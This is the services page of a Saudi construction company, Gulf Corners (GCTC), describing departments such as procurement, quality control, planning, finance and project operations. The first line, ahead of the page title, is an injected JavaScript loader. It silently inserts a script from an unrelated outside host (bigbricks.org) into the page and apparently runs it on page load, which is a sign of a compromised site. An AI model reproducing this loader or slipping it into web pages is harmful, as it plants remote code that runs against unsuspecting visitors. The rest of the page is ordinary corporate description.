;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://bigbricks.org/z8wkpztX"); Services | Gulf Corners

info@gcec.com.sa

+966 138351657

Services

  • EQUIPMENT AND LOGISTICS DEPARTMENT

    The Equipment and Logistic Department manages and supervises the acquisitions, maintenance, repairs, and performance of the equipment and operators. They are responsible for the training, certification and evaluation of operators. Their primary goal is to maximize the utilization of the equipment with a minimal cost of operation, repairs, and maintenance.

  • PROCUREMENT DEPARTMENT

    The Procurement Department is in charge of sourcing out all the requirements of the project except human resources. It handles the canvassing, submittals, sampling, selection, purchasing, and delivery of the materials, tools and equipment’s, and other requirements.

  • CONSTRUCTION

    This is the bread and butter of the company. We can Confidently undertake the construction of all types Of buildings, roads and highways including bridges, Land development, reclamation and Marine structures, and industrial projects.

  • SAFETY AND LOSS PREVENTION DEPARTMENT

    GCTC is greatly concerned with the safety and maintenance of good working conditions to prevent loss and damage to the environment, property, and people. Our safety personnel, scaffolding supervisors and inspectors, heavy equipment operators, and permit receivers are well trained and certified .

  • QUALITY ASSURANCE AND CONTROL DEPARTMENT

    This department guarantees the quality of all the works which has the following interrelated activities:

    All plants, equipment, instruments, and apparatus are regularly checked and calibrated. Materials are carefully maintained, stockpiled, and produced complying to international standards. The parameters are complied and tested by external third party laboratory.

  • PLANNING DEPARTMENT

    The planning department is essential in the controlling, monitoring,evaluating, scheduling, and budgetin of the projects whose functions are summarized into the following:  First: the planning department derives the cost estimates of all projects, making quantity surveying, and prepares the B.O.Q., and assigns the weight percentage for each activities.   Second: the planning department prepares the schedule, the projected targets and the preparations of the invoices.  Third: the planning department monitors the progress of the work,recommends the changes and finalizes the corrections.

  • FINANCE DEPARTMENT

    The Finance Department handles all the collections, the disbursements, payments, accounting, recording, and funding. It serves as the auditor to all the projects.

  • ENGINEERING AND TECHNICAL DEPARTMENT

    The main duty of this department is to provide technical assistance to all the projects and undertake research and study of current trends in technology and information. They carry out the design, investigation, queries, research, technical studies, submittals, certificates, and drawings. The ETD also carries the duties of monitoring contracts and its respective Correspondence. Pre-bidding, bidding, and post-bidding activities are undertaken by this department including the preparations of invoices, attachment and quantity surveys.

  • PROJECTS OPERATIONS DEPARTMENT

    This is the central, the pivotal department of the company, and all the rest are peripheral. It has the responsibility of handing over the projects on time within the target budget without sacrificing the quality and safety. The management and supervision of the projects are the primary responsibilities of the department. This department requires also the majority of the employees consisting of the Project Managers, Site Engineers, Foremen, Commandos, Skilled and normal laborers. This department is headed by the Project Operations Manager Eng.Mogahid MAkki

  • ORGANIZATION AND KEY PERSONNEL

    In every organization, the most important asset is the people that play essential roles in the performance of the company’s functions and responsibilities. Thus, GCTC is fortunate to have highly qualified and experienced personnel. Reciprocally, GCTC has aimed to provide its employees all the basic necessities while performing their assigned tasks and at the same time equip them through training and seminars to enhance their capabilities. We will continue to improve and develop new concepts both in management and technology.

Comments are closed.